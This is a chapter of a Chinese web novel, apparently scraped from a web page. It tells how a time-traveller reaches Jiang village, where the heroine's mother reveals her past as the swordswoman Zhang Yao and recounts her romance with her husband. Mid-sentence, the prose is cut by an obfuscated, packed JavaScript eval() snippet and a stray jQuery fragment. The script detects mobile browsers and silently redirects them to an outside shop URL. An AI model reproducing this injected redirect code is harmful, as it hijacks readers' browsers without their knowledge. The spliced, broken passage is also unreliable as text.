5. 第五章 父母爱情
    鲁泽答应得非常爽快,给她们打了个预防针,“原因我能说,但你们应该不能理解。”

    接着毫无保留的一口气说道:“我,鲁泽。21世纪年轻有为,英俊潇洒,风流倜傥的经济学男大,一朝穿越到两千年前的秦朝,还好机智生存了下来,后遇年轻的道士跟我说,若想回去,就到蒋家村找个叫张窈的人。

    于是,我花了好多力气,才找到些线索,从咸阳过来一路过来,然后就遇到了你们,嗯,就是这样。”

    见昭雪和二柏听完他说的话,两脸懵逼的表情,鲁泽无奈的叹气,他早就知道她们不信。

    信息量太大,她们一时间分析不了,过了好久二柏问道:“你说你穿越两千年前是什么意思?”

    “意思是我来自两千年后,来到了这里。”

    昭雪惊讶地“啊”了声,她思考了一会儿,“这么久啊,那时候的皇帝是谁呢?”

    “那时候没有皇帝。”

    “露出破绽了吧,怎么可能没皇帝,那我还说本姑娘来自一万年后呢!”

    超出了认知,她们还是没信他,鲁泽喜得外号“两千年”。

    他无奈的耸了耸肩。

    三人就近找到座村子,准备在此处买点物资,起火的时候好在鲁泽提醒得早,她们的包裹是一个不少的带了出来。

    刚买到绳子,鲁泽就双手合并主动递过来,还提醒她们绑上,二柏和昭雪就当作自己在牵牛。

    她们准备了充足的干粮,却没能找到个愿意去那么远路程的车夫。

    直到村子最后的车夫摇摆不定时,鲁泽从手中亮出一两黄金,那车夫才屁颠屁颠同意。

    “你怎么还有?”昭雪二柏不约而同地露出诧异的神色。

    被黑布遮住眼睛的鲁泽得意的笑道:“你们不知道有句话吗?瘦死的骆驼比马大。”

    又是两天两夜的路程,她们重回蒋家村。

    蒋昭雪一看到这熟悉的院子,熟悉的秋千,还有不那么熟悉的家禽,就忍不住眼眶湿润。

    不是想家,而是她好不容易离开,还没玩够没想到这么快又回来了,下次不知道什么时候才能出去,情到深处,她狠狠踹了鲁泽屁股一脚泄愤。

    猛然受到攻击,没有防备,鲁泽闷哼一声,含笑骂道:“谁脚那么欠!”其实早已猜到,但他还是低头摘下眼罩。

    在路上遮目也全靠自觉,毕竟他需要方便的时候,两姑娘不可能陪着。

    马车声“吁——”的一声响起,屋内的蒋母立刻放下手中的活,神色慌张。她知道是女儿们回来了,但她所认识的贪玩的昭雪,可不会这么快收心,定是遇到什么难处。

    想着她急忙走出屋子,还没跨出两步,垂头便睨见地上蛄蛹着让示意解绑的鲁泽,目瞪口呆。

    女儿们竟绑回来个少年郎!

    蒋母顿然猜到这是谁的主意,少年郎白白嫩嫩的,难不成这些年把昭雪惯坏了,尽敢没经过爹娘,就从外面把别人家的孩子抓来入赘。想当女土匪了这是!

    “好啊好啊,长本事了!”蒋母顿时怒从心中起,就近抄起个小木枝。

    对母亲情绪毫不知情,蒋昭雪笑脸相迎,忽觉腿一疼,才看清了娘手上有东西,惊得她一边扯着嗓子问:“娘!为啥要打我啊!”一边四处逃窜,围着院子转。

    一切发生得太快,二柏鲁泽当场宕机。

    “还好意思说,你解释解释,这是在干什么?”蒋母三两下就追到了昭雪,将放弃挣扎的她拎起,手指向被捆得五花大绑的鲁泽。

    “还不快给他松绑。”

    二柏这才回过神来,解开鲁泽身上的绳子。

    重获自由的鲁泽乖巧礼貌地给蒋母打招呼,蒋母拍了拍他的双肩,笑得慈爱,脸带着鼓励的说道:“孩子,你是被强迫的吧!有什么难处,说出来。”

    他一时间噎住,不知道怎么回答这莫名其妙的问题,定了定神。

    “娘你说什么呢!”昭雪当机明白娘是误会了什么,忍不住捂额,面露尴尬,朝鲁泽作了个催促似的暗示动作。

    鲁泽这才直奔主题表明自己真实来意:“伯母,您认识双刀罗刹——张窈吗?知道她现在在哪吗?”

    “……”

    久远的名字像警钟在脑子敲了一下,直击心脏,蒋母笑容僵住,面色凝重起来。她没有回答,而是语气生冷的反问:“不知公子从哪里来,找她作甚?”

    鲁泽还沉溺在马上回家的喜悦中,对此无所觉察,又说出了二柏昭雪不信的那套说辞。露出和善的笑,补了句:“你放心,我没有恶意,也不是她的仇家。”

    “你从咸阳城来的?”蒋母思绪早已飘远,她抓住了唯一能听懂的关键词问道。

    得到鲁泽的点头回复,蒋母沉默了一会儿,在内心短暂的挣扎什么,最后,她长叹了口气。

    救下二柏时,神医就给了她些东西保护好,同她说过,会有男子从咸阳远道而来找她,这时候就把东西给他,并且让二柏离开护送男子,途中也能寻找那遗失的记忆。

    她那时候有私心,想让昭雪也去,替她们张家寨正名,于是让二柏和昭雪结为姐妹,但没想到竟然这么快。

    如今时间已经冲淡了她的仇恨,早已改了想法,二柏和昭雪她都不舍得,可却不给她后悔的机会了。

    蒋母领她们进堂屋里来,她从卧房内拿出个陈旧的大黑木匣子,小心翼翼摆在桌上,云淡风轻道:“本人就是你口中的双刀罗刹。”

    大概是为了印证自己的说辞,她打开匣子,盒内贺然放着精致的柳叶双刀。

    顷刻间,众人皆错愕地抬头,谁都没有想到,昭雪心中更是五味杂陈。

    这时蒋父放下背篓走进屋子,他目光第一眼扫到鲁泽,先是眯了眯眼睛,又移向桌上的东西,瞬间明白夫人这是坦白从宽了。

    蒋昭雪注意到父亲古怪的神情,心中顿时涌上一丝酸涩,“好好好都瞒着我,爹爹说吧,你又是什么身份。”

    她不懂,如果爹娘都是大侠,那从小就教她要行侠仗义,为何要待在这个小小的蒋家村埋没自己的才能。

    能力越大责任越大不是吗?

    蒋晋摸了摸她的头笑道:“胡说八道什么呢,你爹我就只是个本本分分的猎户。”但并没有得到昭雪的信任,她的表情依旧将不高兴写脸上。

    知女莫若母,张窈明了现在有必要解释一下,于是打算从他们的相遇说起,她望向窗外种的一排桃树,忆起过往云烟,画面随着她的讲述徐徐展开。

    二十年前春天的某次清晨,齐赵的边界有条鬲津河,河畔窄处有排排桃树,两岸各有一人,一边是位姑娘在练剑,另一边少年在背书。

    看似两者互不干扰,实则张窈每次到河边练剑每每都能瞅见这男子捧着书来回踱步,好像是在背书,应该是位书生。

    但他似乎对自己的存在毫不知情。

    她倏忽觉得不公平,于是打算发挥这距离的作用拿他来练练狮吼功。

    却没想到,对面吓得一跳,张窈立刻止声。

    蒋晋慌乱四顾,这才注意到对岸,只见英姿飒爽潇洒得并未挽发的红衣女子,墨色的发丝随风飘扬,就在岸边遥望他,心中不禁漏了一拍,举起书不知不觉中掉落在地。

    张窈捂嘴偷笑,觉得逗这人真好玩,正准备离开。

    书生急迫的喊了声,似乎是用他最大的力气:“敢问姑娘芳名?”张窈内力深厚自然听得见,只是她并没有回答,止住了离去的步子,转身练起剑来。蒋晋被这陌生女子惊艳到了。

    两人在河对岸的这次碰见之后,见面的时间越来越长,就这样面对面互相陪伴着从晨到夕。

    某日,蒋晋带来只鸽子,他已经不能满足于遥河相望而已,他又在简上刻出了那个问话:“敢问姑娘芳名?”

    张窈也觉得这种方式很有意思,她先逗了逗鸟,很快回信,“你是不是就只会这句。张窈,窈窕淑女,君子好逑的窈。”

    蒋晋被张窈无意间的一撩,惹得耳根通红,“小生名为蒋晋。”

    她们隔岸传书,张窈本来只当他为乐子,但飞鸽传书后,她也了解了他的魅力所在。他们不知不觉进入了各自的生活,成了不可缺少的一部分。

    长久的陪伴让他们产生了爱意,张窈问他啥时候来娶自己,却得知他父母不允许,身为张家寨大小姐,可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228212|151303||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还没听说过谁不愿娶自己,于是她准备强抢民男。

    被拒绝的那天,她渡河而来,蒋晋立马叫她赶快回去,万一被官兵发现了怎么办。张窈却要见他父母再走,碍于她强硬的态度,他只好带他去了自己家。

    张窈本打算大闹一场,却发现她想错了,蒋晋并不是欺骗自己的感情,只是他家境贫寒,母亲最近生了大病一病不起,他不得已放弃了读书,觉得不配娶她。

    她什么也没说离开了。

    蒋晋自嘲的笑了笑,想暗自神伤几天,生活不允许。

    但并不是他所想的那样,张窈并不是抛下了他。第二天,她又来了,带了一堆东西和药材,告诉他读书并不是唯一的出入,什么时候她娘好了,他们再成亲。

    蒋晋非常感动,她们紧紧相拥。

    后来,张家寨被污蔑,张窈赶回去救家人,但她一人又能做什么,受了重伤差点死了,好在这时蒋晋找了过来,从此,他背着她,拖着母亲到处寻神医救治。

    至今她也不知道他当时一点武力都没有,是冒了多大的危险跨过护城河的。

    蒋晋求生技能在那时候习得,她们经常听到江湖人士对她和张家寨的怒骂,只能忍着,渐渐内心强大起来。

    他娘终究是没能熬过去,但张窈很幸运,撑到了神医救治,只是终生不得再使用内功。

    于是,她们隐姓埋名就此安顿了下来,也成了这个蒋家村中的第一户人家,后来受神医救治的很多人都在这个村子生活了下来。

    又过了三年,生下了个女儿取为昭雪。

    故事讲完,昭雪垂下头去,理解了她们的迫不得已。

    张窈合上了空空如也的盒子,灰尘散开。她将话题转向正题,对鲁泽道:“公子若是要回去,应该同这个有关。”

    说罢,她再次进了屋子,左手手捧一卷丝绢,右手有两物,捧着打开那卷,是个四尺的画卷,将它交接给鲁泽,“这地图的终点还是路上或许就有你想要的答案。”

    鲁泽接下,喜悦转换为惆怅,果然回去没有他想的那么简单,你要说那道士骗了他吧,又没有的确来这有办法,但也只有办法。

    另外两物分别是包裹和玉佩,则是都递给了二柏,告诉二柏玉佩同她身份有关,之所以包裹也给她,是因为这三人中二柏最稳重。

    张窈警告她们包裹未到终点千万不要打开,否则会引来杀身之祸。

    二柏好好收下,她凝视着玉佩,但什么也想不起来。好像也是她自己不想想起来,每到有一点点要想起来来的迹象,就如同反胃般难受,她不喜欢。

    接下就是最后一件事了,张窈捧起双刃收起眼中满满不舍,告诉昭雪这叫它叫春风,并教她背上。双刀交叉负在昭雪背后,她像又看到了年轻时候的自己。

    把一切事情都交代完后,似乎是怕自己反悔,没等她们再思考什么,张窈毫不留情地给下了逐客令,关上了门。

    众人神情低落的离开,不知为何,母亲准备得这么充分像是在给她们告别一样,昔日的时光在脑中止不住的播放,昭雪又有点想哭了。

    鲁泽感受到现在的氛围,他冷不丁的说道:“要不是方才伯母要求,我才不愿意同你们为伍。”

    “你是不是找打啊!”思绪被他口中所言打断,昭雪捏起拳头又松开,她现在实在没有打他的兴致。

    二柏拍了拍她肩叫她消气,回首瞧了眼身后,感慨她们这次是彻彻底底离开家,踏入江湖了。

    听到二柏的话,昭雪又不知从何处燃气了斗志,“你说咱们要不要给自己取个响亮的外号,雪柏泽三侠怎么样?”

    “太平铺直叙了。”

    “……”

    声音愈来愈模糊,人影愈来愈远去,蒋母从窗户遥遥地眺望,蒋父语重心长地问她:“你这样做是何苦呢。”

    她说:“是到时候了,不得不啊,更何况,早在捡到二柏的时候就准备好了。”

    蒋父面露心疼,将她拥入怀中。“我是说,既然舍不得,为何急这一时,怎么留孩子们住上几日再起身。”

    蒋母刚准备闭目养神的眼睛,瞬间瞪大了,推开蒋父,“你怎不早说!”